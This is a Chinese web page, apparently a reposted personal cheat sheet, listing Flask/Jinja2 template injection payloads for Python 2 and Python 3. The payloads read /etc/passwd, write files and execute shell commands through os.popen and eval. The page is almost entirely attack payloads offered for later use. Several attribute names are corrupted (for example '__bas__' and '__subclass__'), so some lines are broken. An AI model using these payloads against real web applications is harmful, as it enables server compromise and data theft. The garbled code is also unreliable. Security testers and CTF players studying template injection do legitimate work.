flask模板注入payload——python2和python3

更新时间:2023-05-06 01:10:03 阅读: 评论:0

flask模板注⼊payload——python2和python3
把模板注⼊的payload记录在这⾥,⽅便以后使⽤。
主要分为两类python2和python3
还有各种过滤和绕过
python2
⽂件操作
找到file类
[].class.bas[0].subclass()[40]
payload:
#读⽂件
[].__class__.__bas__[0].__subclass__()[40]('/etc/passwd').read()
#写⽂件
[].__class__.__bas__[0].__subclass__()[40]('/tmp').write('test')
命令执⾏
os执⾏
[].class.bas[0].subclass()[59].init.func_globals.linecache下有os类,可以直接执⾏命令
payload:
[].__class__.__bas__[0].__subclass__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].class.bas[0].subclass()[59].init.globals.__builtins__下有eval,__import__等的全局函数,可以利⽤此来执⾏命令
payload:
[].__class__.__bas__[0].__subclass__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bas__[0].__subclass__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bas__[0].__subclass__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bas__[0].__subclass__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
python3
⽂件操作
payload:
{% for c in [].__class__.__ba__.__subclass__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
命令执⾏
payload:
{% for c in [].__class__.__ba__.__subclass__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

本文发布于:2023-05-06 01:10:03,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/fan/89/859451.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:还有   函数   过滤   全局   绕过
相关文章
留言与评论(共有 0 条评论)
   
验证码:
推荐文章
排行榜
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图